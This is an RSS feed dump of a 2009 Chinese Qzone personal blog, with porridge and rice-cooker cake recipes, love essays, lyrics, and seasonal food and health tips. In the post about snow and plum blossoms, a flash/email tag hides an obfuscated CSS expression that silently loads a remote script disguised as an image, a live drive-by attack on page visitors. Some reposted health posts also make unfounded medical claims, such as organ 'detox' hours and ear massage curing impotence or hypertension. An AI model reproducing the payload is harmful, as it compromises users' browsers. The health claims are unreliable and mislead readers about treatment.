<![CDATA[蓝天]]> http://327860882.qzone.qq.com Sun, 29 Nov 2009 20:41:20 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Sat, 28 Nov 2009 05:22:25 GMT <![CDATA[营养早餐------红薯 南瓜 小米粥]]> http://327860882.qzone.qq.com/blog/1259385745 红薯，又称山芋、地瓜，含有丰富的糖质、维生素和矿物质、食物纤维等。红薯中的胡萝卜素、维生素B1 等多种维生素，为维持人体健康所必需。红薯中的淀粉加热后呈糊状，使得不耐热且易溶于水的维生素C，得到了很好的保护。其中的矿物质对于维持和调节人体功能，起着十分重要的作用；钙和镁，可预防骨质疏松症；钾具有降低血压的作用。

老南瓜是朋友送的，南瓜中对人体的有益成分有：多糖、氨基酸、活性蛋白、类胡罗卜素及多种微量元素等。各种成分的功用：
1. 多糖类：南瓜多糖是一种非特异性免疫增强剂，能提高机体的免疫功能，促进细胞因子生成，通过活化补体等途径对免疫系统发挥多方面的调节功能。
2. 类胡罗卜素：南瓜中丰富的类胡罗卜素在机体内可转化成具有重要生理功能的维生素A，从而对上皮组织的生长分化、维持正常视觉、促进骨骼的发育具有重要生理功能。
3. 矿质元素：南瓜中高钙、高钾、低钠，特别适合中老年人和高血压患者，有利于预防骨质疏松和高血压。此外，还含有磷、镁、铁、铜、锰、铬、硼等元素。
4. 氨基酸和活性蛋白：南瓜中含有人体所需的多种氨基酸，其中赖氨酸、亮氨酸、异亮氨酸、苯丙氨酸、苏氨酸等含量较高。此外，南瓜中的抗坏血酸氧化酶基因型与烟草中相同，但活性明显高于烟草，表明了在南瓜中免疫活性蛋白的含量较高。
5. 脂类物质：研究发现，在南瓜种子中的脂类物质对泌尿系统疾病及前列腺增生具有良好的治疗和预防作用。

小米是五谷之一，有两、三个品种，一种是甜小米，性质较温暖， 另一种是低黏性小米，性质较阴， 这两种小米，外形细小，皆有鲜黄的颜色，五行属土， 能量平和踏实， 味道甘甜。 若是肠胃，胰脏及脾脏有问题者，可多吃甜小米。小米滋阴， 是碱性谷类，身体有酸痛或胃酸不调者也可常常吃。 小米也能解除口臭，减少口中的细菌滋生。 小米的丰富氨基酸帮助预防流产，抗菌及预防女性***发炎。小米对抗泻肚子、 呕吐、消化不良及糖尿者， 都有帮助。 若是泻肚子，可把小米炒过才煮，消化不良或呕吐时，可用小米熬成粥吃，怀孕妇女若是早晨有不适，或在产后调养，可把小米熬成粥， 常常吃。
除了丰富的铁质外， 小米也有蛋白质，复合维他命B、钙质、 钾、纤维等等。 因为小米性质是碱性的，所以烹煮时，不需要加太多的盐或干脆不用盐煮。
先说一下红薯南瓜粥怎么做的吧：

红薯和南瓜的皮刨去，皮是昨天晚上好刨的。这几天早上起来特别的冷，我都是晚上就把皮好了。


红薯和南瓜切小块，我喜欢把块切的大一点，煮的时候多煮一会，这样熬出的粥会甜一些的哦



把水烧开了，在放红薯和南瓜一起进锅，这样不会糊锅底的

大为煮15分钟在把小米一起放进去煮

小米放了，在熬20分钟


呵呵，好了，熬好了我的粥哦，


这几天胃不好，吃点小米粥是养胃的。 ]]> http://327860882.qzone.qq.com/blog/1259385745#comment 134218241 Sat, 28 Nov 2009 05:22:25 GMT http://327860882.qzone.qq.com/blog/1259385745 <![CDATA[如何用电饭煲做蛋糕]]> http://327860882.qzone.qq.com/blog/1259385468 准备好材料：面粉，鸡蛋，牛奶，盐，糖，油

注意：这个过程不能沾一滴水，器皿都擦干再用哦。



按量打蛋，在这里我用了4个，蛋清分离



三根筷子准备打蛋清



打两下就这样了



为了突出甜，放一点点盐



一勺糖



继续打继续打继续打
有点稠时再放一勺糖，继续打



大约15分钟后，就会变成奶油状，而且筷子上的不会掉下来
这个过程比较关键，15分钟连续打，不是闹着玩的，很痛苦滴



蛋黄里放两勺糖



3勺冒尖的面粉



6勺牛奶



搅拌好



倒入一半奶油状的蛋清
注意：上下搅拌而不是打圈



搅拌均匀后再倒入另一半奶油状蛋清，上下搅拌好



电饭煲按下煮饭健预热1分钟后拿出，锅有点热就可以
倒入少许油，均匀涂在锅内，以防粘锅



倒入搅拌好的东西，然后震几下锅，把气泡震出来



按下煮饭键，2分钟左右会自动跳到保温档，这时用毛巾捂住通风口，闷20分钟
然后再按下煮饭键，20分钟后就OK啦



开盖咯



锅内涂了油，一倒就出来啦，蛋糕底部颜色比较深
松软可口的蛋糕，大功告成啦！掌声响起来
]]> http://327860882.qzone.qq.com/blog/1259385468#comment 134218241 Sat, 28 Nov 2009 05:17:48 GMT http://327860882.qzone.qq.com/blog/1259385468 <![CDATA[深爱]]> http://327860882.qzone.qq.com/blog/1256998651 親愛的您好！！看到一个深爱着你的人为你而改变…
因为爱你，他收起他的顽固脾气…
因为爱你，他把你的兴趣也变成是他的兴趣…
喜欢一个人是没有原因的…
他无悔的付出，都认为是值得的，
只要能和相爱的人在一起…
其实我们的身边都有一些这样的人，
只是我们还没发现… ]]> http://327860882.qzone.qq.com/blog/1256998651#comment 134218240 Sat, 31 Oct 2009 14:17:31 GMT http://327860882.qzone.qq.com/blog/1256998651 <![CDATA[[转]太晚睡觉等于自杀]]> http://327860882.qzone.qq.com/blog/1256800519 太晚睡觉等于自杀（献给年轻人）（一定要看看，以后不熬夜了！）

晚上9-11点为免疫系统（淋巴）排毒时间，此段时间应安静或听音乐
晚间11-凌晨1点，肝的排毒，需在熟睡中进行。
凌晨1-3点，胆的排毒，亦同。
凌晨3-5点，肺的排毒。此即为何咳嗽的人在这段时间咳得最剧烈，
因排毒动作已走到肺；不应用止咳药，以免抑制废积物的排除。
凌晨5-7点，大肠的排毒，应上厕所排便。
早上7-9点，小肠大量吸收营养的时段，应吃早餐。
疗病者最好早吃，在6点半前，养生者在7点半前，
不吃早餐者应改变习惯，即使拖到9、10点吃都比不吃好。
半夜至凌晨4点为脊椎造血时段，必须熟睡，不宜熬夜。

如果觉得好一定要分享。。。独乐乐不如人人乐。。。我只希望看过的你能多为自己为家人着想，能尽量早点睡… ------- 手、脚、身体各个穴位所对应的内脏 (图) 下面这几张图显示了，咱们的手、脚、身体各个穴位所对应的内脏。按摩的时候，对准穴位下力，才能对我们身体有益。

如图所示，比如我们的脚趾分别代表了我们眼睛和耳朵，而整个脚底就相当于人体身体的主干。 下面是手


身体是革命的本钱，学会了自己给自己按摩一下吧。 拉拉耳朵养护全身器官 肾是人体重要脏器之一，乃先天之本。肾脏功能是否正常，对健康长寿有着举足轻重的作用。 　　
中医五行学说认为，肾主藏精，开窍于耳，医治肾脏疾病的穴位有很多在耳部。所以经常进行双耳锻炼法，可起到健肾壮腰、养身延年的作用。
一、提拉耳垂法 双手食指放耳屏内侧后，用食指、拇指提拉耳屏、耳垂，自内向外提拉，手法由轻到重，牵拉的力量以不感疼痛为限，每次3~5分钟。此法可治头痛、头昏、神经衰弱、耳鸣等疾病。 　　
二、手摩耳轮法 双手握空拳，以拇、食二指沿耳轮上下来回推摩，直至耳轮充血发热。此法有健脑、强肾、聪耳、明目之功，可防治阳痿、尿频、便秘、腰腿痛、颈椎病、心慌、胸闷、头痛、头昏等病症。 　
三、提拉耳尖法 用双手拇、食指夹捏耳廓尖端，向上提揪、揉、捏、摩擦15~20次，使局部发热发红。此法有镇静、止痛、清脑明目、退热、抗过敏、养肾等功效，可防治高血压、失眠、咽喉炎和皮肤病。 　　
四、搓弹双耳法 两手分别轻捏双耳的耳垂，再搓摩至发红发热。然后揪住耳垂往下拉，再放手让耳垂弹回。每天两三次，每次20下。此法可促进耳朵的血液循环，有健肾壮腰之功效。 　　
五、双手拉耳法 左手过头顶向上牵拉右侧耳朵数十次，然后右手牵拉左耳数十次。这一锻炼还可促进颌下腺、舌下腺的分泌，减轻喉咙疼痛，治慢性咽炎。 　　
六、双手掩耳法 两手掌掩两耳廓，手指托后脑壳，用食指压中指弹击24下，可听到“隆隆”之声，曰击“天鼓”。此刺激可活跃肾脏，有健脑、明目、强肾之功效。 　　
七、全耳按摩法 双手掌心摩擦发热后，向后按摩腹面(即耳正面)，再向前反折按摩背面，反复按摩5~6次。此法可疏通经络，对肾脏及全身脏器均有保健作用。 　　
八、双手扫耳法 以双手把耳朵由后面向前扫，这时会听到“嚓嚓”的声音。每次20下，每日数次，只要长期坚持，必能强肾健身。 　　
以上八法，可根据各人所需选择，或单项或几项配合进行，只要能持之以恒，一定能收到理想的效果。 简单易学的强肾健体保健法 祖国传统医学认为，肾为先天之本，生命之源，肾气充盈，则精力充沛，筋骨强健，步履轻快，神思敏捷，肾气亏损则阳气虚弱，腰膝酸软，易感风寒，生疾病等。　　
肾虚病症有阴虚、阳虚之分。 　　肾阴虚者，有肺热、咽燥、腰膝酸软、头晕耳鸣、舌苔偏红等症状。 　　肾阳虚者，常见有肢体畏寒、精神萎靡、腰酸耳鸣、舌淡、体胖等症状。 　　
中医认为，肢体的功能活动，包括关节、筋骨等组织的运动，皆由肝肾所支配，故有“肾主骨，骨为肾之余”的说法，因此坚持体育锻炼，以取得养筋健肾、舒筋活络、畅通气脉、增强自身抵抗力之功效，从而达到强肾健体目的。散步、慢跑、打球、做操、练拳舞剑等，都是不错的锻炼项目。下面介绍几个简单的保健方法，您可以试试。 　　搓擦腰眼：两手搓热后紧按腰部，用力搓30次。“腰为肾之府”，搓擦腰眼可疏通筋脉，增强肾脏功能。 　　
揉按丹田：两手搓热，在腹部丹田处按摩30~50次。丹田乃人之真气、真精凝聚之所，为人体生命之本。此法常用之，可增强人体的免疫功能，提高人体的抵抗力，从而达到强肾固本的目的，有利于延年益寿。 　　发“吹”音　“吹”与肾相应，肾属水，故有滋养肾水的功效。反复做6~9遍。 　　
另外，心脏对应的是“呵”音，肝脏对应的是“嘘”的音，脾对应的是“呼”的音，肺对应的是“斯”的音，三焦对应的是“唏”的音。发音的时间长一些，次数多一些。 　　
健脾通胃肠气的保健方法： 　　双手重叠，顺时针绕肚脐揉腹，以通为主，可促进胃肠气通畅，逆时针绕肚脐揉腹，则以补为主，可起到健脾作用，便秘患者，多顺时针揉，脾虚者，则加逆时针揉，每次300~500下，每天1~2次。 祝福朋友们都有一个健康的好身体！ ]]> http://327860882.qzone.qq.com/blog/1256800519#comment 142606857 Thu, 29 Oct 2009 07:15:19 GMT http://327860882.qzone.qq.com/blog/1256800519 <![CDATA[[转]当雪花爱上梅花]]> http://327860882.qzone.qq.com/blog/1256441468 请用鼠标点梅枝




































此歌送给我的最爱
[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://327860882.qzone.qq.com/blog/1256441468#comment 4616 Sun, 25 Oct 2009 03:31:08 GMT http://327860882.qzone.qq.com/blog/1256441468 <![CDATA[还是一个人]]> http://327860882.qzone.qq.com/blog/1255693163 习惯一个人的时候，是因为不受羁绊；享受一个人的时候，是因为等待静谧；痛恨一个人的 时候，是因为难耐孤独……这样的矛盾……可是还是习惯一个人……

如今，又是一个人，寂寥中有种自由，在茫茫人海中，在钢筋水泥间，在豪华都市里，一个 人穿梭，不带走丝毫，惟有一点痕迹。不知从什么时候开始喜欢一个人做事，静静的、那么随意 和自然。有人说这不是一种好的生活状态——因为有情的存在——没有沟通，哪有情谊？

可是我 依然我行我素，因为这样的东西在这样的时代已经很难觅到……
有时候，也会一个人偷偷的哭，因为痛楚。却在大多数时候把它隐藏，直至永远埋没在心里 ……朋友说我很傻，不知道宣泄，我笑笑，没有回答。也许，我有我的方式去释放，或者，把它 留在心里就是一种方式~~~
可是，我还是变了，在不知不觉间。现在的我难过的时候会和朋友倾诉，就象面对自己的心 灵那样。变化的原因我不明白，也许我不再那么坚强……我本无意做一个坚强的人，只是生活让 我不得不坚强面对。写到这里时，我有些哀伤，谁能够生来坚强？生活又有多少无奈和悲伤？
于是，很多时候，我还是一个人，为的是承受那些不该由旁人承受的伤痛或者是责任，已是 习惯——改变并不是那么容易——我会为在喧哗中的自己难过，因为会突然感觉失去了自己本来 的模样。
也许，依然习惯一个人…… ]]> http://327860882.qzone.qq.com/blog/1255693163#comment 134218240 Fri, 16 Oct 2009 11:39:23 GMT http://327860882.qzone.qq.com/blog/1255693163 <![CDATA[珍惜你所拥有的，你会很快乐]]> http://327860882.qzone.qq.com/blog/1254742085 爱从一个微笑开始，淡淡的，自然而清新...爱一个不爱你的人是痛苦的，爱一个人却没有勇气让她明了你的心是更痛苦的。 也许上天故意让我们在遇到生命中的真命天子之前，遇到几个有缘无份的人，这样我们才能学会去珍惜这份迟来的礼物。随着一切冲动，激情，浪漫的消失，你对那个人的关心及牵挂仍然丝毫未减。那便是爱了。
生命中最悲哀的事莫过于放弃追逐你所爱的人，看着她远离。她对于你的重要并不能使她回馈给你什么。无论你追逐多久，你还是要让她走，无能为力...
我们容易沉浸在现有的快乐中，久久陶醉而不能自拔，当这快乐突然消失，我们茫然不知所措，为失去的快乐陷入苦闷的深渊，却没有发现在生命中的其他地方还有太多快乐等待着我们去感受。最好的朋友不需要任何语言的沟通，当她走过时，你只需坐在回廊上，轻轻的挥挥手，却觉得是你曾经有过的最美妙的沟通。
我们在失去的时候才懂得曾经拥有过，可我们也在得到时发现我们曾经缺少的。
在付出爱的时候，谁也不确定会得到回报，不要期待着得到爱，慢慢的等待你的爱在她的心中生根发芽，即使不会，你也当满足，因为你心中已有了一片爱的绿洲。
也许有许多话你永远也不可能从你期望的人的口中说出，这将是最大的悲哀与痛苦！如果你的心还没有安定，那么请你永远不要说放弃。如果你还爱她，为什么要说不爱？爱属于那些曾灰心失望却仍继续期待的人，爱属于那些曾被出卖欺骗却仍坚信美好的人，爱属于那些纵然伤痕累累，却仍渴求爱的人。不要让你喜欢的人太过难过和痛苦！如果你爱她就告诉她！！！
和一个人反目只要一分钟，和一个人相爱却要一个小时，而忘记一个人却要花上一生的时间。不要为了美丽的外表而动身，那也许只是假象，不要为了财富而动身，那终将变淡褪色。走向那个能够使你会心微笑的人吧，因为一个微笑可以把黑暗照亮。希望你能找到那个把你生命照亮的人。当你深深思念的人出现在梦中时，你真的希望能够感受她真实的拥抱。希望你的生命中有个可想可梦的人。
做你想做的梦，做你想要做的事，去你想要去的地方和你喜欢的人在一起，成为你想要成为的人，喜欢你喜欢的人！因为你只有一次生命来满足你的要求。
什么才是最快乐的人？他们是哭过的人，受过伤的人，追求过的人，尝试过的人，充满感激的人，而又重新快乐起来生活的人！是真正懂得快乐的人！
爱从一个微笑开始，在快乐中得以延伸，却随眼泪逝去...
珍惜你所拥有的,你会很快乐 ]]> http://327860882.qzone.qq.com/blog/1254742085#comment 134218240 Mon, 05 Oct 2009 11:28:05 GMT http://327860882.qzone.qq.com/blog/1254742085 <![CDATA[在心里从此永远有个你]]> http://327860882.qzone.qq.com/blog/1254493422 为什么 我们相遇网络
为什么 要拿虚拟对待我
我和你 在一起 在一起 的甜蜜
这份爱 会埋在我心底
我和你相爱网络里
爱来爱去 都变成回忆
你的心 我最懂 你哭泣 我陪你
这辈子 注定与你在一起
大声喊出我爱你;时刻把你放心底
不怕网络的虚拟 等着你
点击鼠标的情意;传达爱你的蜜语
在心里从此永远有个你
谢谢你 让我遇到你,谢谢你 也让我爱上你
不管 风 风雨雨,,不问 明天在哪里
我都会 永远的 陪伴你
那一个网络.....那一段感情....从此有了一个你........
送给我伤害过我,以及被我伤害过的人


为什么 我们相遇网络
为什么 要拿虚拟对待我
我和你 在一起 在一起 的甜蜜
这份爱 会埋在我心底
大声喊出我爱你;时刻把你放心底
不怕网络的虚拟 等着你
点击鼠标的情意;传达爱你的蜜语
在心里从此永远有个你
为什么 我们相遇网络
为什么 要拿虚拟对待我
我和你 在一起 在一起 的甜蜜
这份爱 会埋在我心底
大声喊出我爱你;时刻把你放心底
不怕网络的虚拟 等着你
点击鼠标的情意;传达爱你的蜜语
在心里从此永远有个你
谢谢你 让我遇到你,谢谢你 也让我爱上你
不管 风 风雨雨,,不问 明天在哪里
在心里从此永远有个你 ]]> http://327860882.qzone.qq.com/blog/1254493422#comment 134218240 Fri, 02 Oct 2009 14:23:42 GMT http://327860882.qzone.qq.com/blog/1254493422 <![CDATA[秋天吃什么对皮肤好呢？肌肤秋天最爱10种食物 ,秋季吃什么对皮肤好呢？]]> http://327860882.qzone.qq.com/blog/1252942223

进入秋季，肌肤的保养不仅要靠一些化妆品，更需要一些内在的调理，所以从每天的饮食来入手，对抗秋季的干燥！


1.西兰花——增强皮肤抗损伤能力


西兰花中含有丰富的维生素A、维生素C和胡萝卜素、能增强皮肤的抗损伤能力，还有助于保持皮肤弹性。


2.胡萝卜——保持皮肤润泽细嫩


含有大量胡萝卜素，有助于维持皮肤细胞组织正常机能、减少皮肤皱纹，刺激皮肤的新陈代谢、保持皮肤润泽细腻。


3.牛奶——增强皮肤张力


牛奶是皮肤在晚上最喜爱的食物。它能改善皮肤细胞活性，有延缓皮肤衰老、增强皮肤张力、消除小皱纹等功效。


4.大豆——防止色素沉着于皮肤


大豆中含有丰富的维生素E，不仅能够破坏自由基的化学活性，从而抑制皮肤衰老，更能防止色素沉着于皮肤。


5.猕猴桃——消除雀斑等斑点


猕猴桃富含维生素E，可干扰黑色素生成，预防色素沉着、保持皮肤白皙，并有助于消除皮肤上已有的雀斑等斑点。


6.西红柿——展平皮肤新皱纹


其中含有的番茄红素有助于展平新皱纹，使皮肤细嫩光滑。一项实验发现，常吃西红柿，还不易出现黑眼圈，且不易被晒伤。


7.蜂蜜——保持皮肤红润有光泽


蜂蜜被誉为“大自然中最完美的营养食品”，含有大量易被人体吸收的氨基酸、维生素及糖类，营养全面而丰富，常食可使皮肤红润细嫩，有光泽。


8.肉皮——充盈皮肤


肉皮是富含胶原蛋白和弹性蛋白的食物。胶原蛋白能使细胞变得丰满，从而充盈皮肤、减少皱纹；弹性蛋白则可增加皮肤弹性。


9.三文鱼——防止皱纹产生


三文鱼中的Omega—3脂肪酸能消除损伤皮肤胶原及皮肤保湿因子的生物活性物质，防止皱纹产生，避免皮肤变得粗糙。


10.海带——调节皮肤油脂分泌


海带是矿物质含量丰富的碱性食物，常吃能调节血液酸碱度，防止皮肤过多分泌油脂。豆芽菜：黄豆、绿豆中含有大量的蛋白质、脂肪和碳水化合物，以及钠、铁、磷、钙等人体必需的元素，生芽后不但能保持原有的物质，而且增加了维生素B1、B2、B12和C的含量。豆芽中的叶绿素可以防 治直肠癌。黄豆芽中含水量丰富的天门冬氨酸，能使机体大大减少乳酸的堆积，从而有利于消除疲劳。中医认为，豆芽味甘性凉，有清热解毒、利湿通下等作用。

菠菜：菠菜是一种营养价值极高的蔬菜。尖叶菠菜叶柄长叶片较薄，根粗壮，含糖分量多；圆叶菠菜片大肉厚。菠菜中胡萝卜素的含量大大高于其他蔬菜，抗坏血酸虽低于辣椒却高于西红柿，菠菜所含的具有止血作用的维生素K是叶菜中最高的。每百克中含水分91.8克，蛋白质2.4克，脂肪0.5克，钙72毫克，磷53毫克，铁1.8毫克，抗坏血酸39毫克。菠菜含有丰富的核黄素，有防止口角溃疡、唇炎、舌炎、皮炎的作用。

胡萝卜：味甘平，食之补脾健胃。胡萝卜以炖食最好，炒食为良。炖食能保持胡萝卜素93％以上，炒食也可保持胡萝卜素80％以上，而生食、凉拌，人体仅能吸收10％。

菜花：菜花含有丰富的维生素类物质，每200克新鲜菜花可为成年人提供一天所需维生素A的75％以上。其维生素C的含量更为突出，每百克可达80毫克，比常见的大白菜、黄豆芽菜含量要高3—4倍，比柑桔的含量要多出2倍。中医素来有“色白入肺”之说。秋天是呼吸道感染疾患多发季节，洁白的菜花无疑是一种适时的保健蔬菜。

芹菜：芹菜性凉，味甘辛无毒，平肝健胃，富含蛋白质、糖类、胡萝卜素、维生素C、氨基酸等，它能兴奋中枢神经，促进胃液分泌，增进食欲，并有祛啖作用。芹菜可与香干、肉丝等炒食，无不色彩鲜艳，味道清香。

小白菜：味苦微寒，养胃和中，通肠利胃。小白菜含维生素C和钙质甚多，还含磷、铁、胡萝卜素和维生素B等。还有一种洋白菜，即卷心菜，其菜也性味苦平，能益心肾，健脾胃，对胃及十二指肠溃疡有止痛促进愈合的作用。

莴笋：莴笋肉质细嫩，生吃热炒均相宜。常吃莴笋可增强胃液和消化液的分泌，增进胆汁的分泌。莴笋中的钾是钠的27倍，有利于促进排尿，维持水平衡，对高血压和心脏病患者有很大的裨益。莴笋中所含的氟元素，可参与牙釉质和牙本质的形成，参与骨骼的生长。莴笋中的含碘量高，这对人体的基础代谢和体格发育，会产生有利影响。莴笋叶的营养远远高于莴笋茎，叶比其茎所含胡萝卜素高出72倍多，维生素B1是2倍，维生素B2是5倍，维生素C4是3倍，因此莴笋叶丢弃不吃，实在是太可惜了。此外，秋季爱患咳嗽的人，多吃莴笋叶还可平咳。 ]]> http://327860882.qzone.qq.com/blog/1252942223#comment 134218240 Mon, 14 Sep 2009 15:30:23 GMT http://327860882.qzone.qq.com/blog/1252942223 <![CDATA[马云首届网交会精彩演讲：不做电子商务，五年后你会后悔！]]> http://327860882.qzone.qq.com/blog/1250524158 [video,100,100,true,true]马云首届网交会精彩演讲：不做电子商务，五年后你会后悔！http://video.china.alibaba.com/video/view/125640.html#commentstart
]]> http://327860882.qzone.qq.com/blog/1250524158#comment 142623232 Mon, 17 Aug 2009 15:49:18 GMT http://327860882.qzone.qq.com/blog/1250524158